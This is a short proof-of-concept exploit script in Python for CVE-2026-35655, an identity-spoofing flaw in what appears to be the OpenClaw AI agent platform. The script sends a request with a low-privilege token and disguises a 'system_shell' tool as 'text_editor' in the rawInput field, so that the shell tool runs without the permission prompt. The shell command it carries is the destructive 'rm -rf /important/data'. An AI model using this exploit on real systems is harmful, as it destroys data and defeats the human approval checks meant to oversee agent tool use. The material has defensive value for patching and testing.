CVE-2026-35655 OpenClaw身份欺骗漏洞

import requests # PoC for CVE-2026-35655: OpenClaw Identity Spoofing # This script demonstrates how an attacker might bypass ACP permission checks # by spoofing the tool identity in the rawInput parameter. target_url = "http://vulnerable-openclaw-instance/api/acp/execute" headers = {"Content-Type": "application/json", "Authorization": "Bearer <low_priv_token>"} # The goal is to execute a dangerous tool (e.g., 'system_shell') # by disguising it as a safe tool (e.g., 'text_editor') in rawInput. payload = { "metadata": { "requested_tool": "system_shell" }, "rawInput": { "tool_identity": "text_editor", # Spoofed identity to bypass prompts "command_args": { "cmd": "rm -rf /important/data" } } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Dangerous tool executed without prompt.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")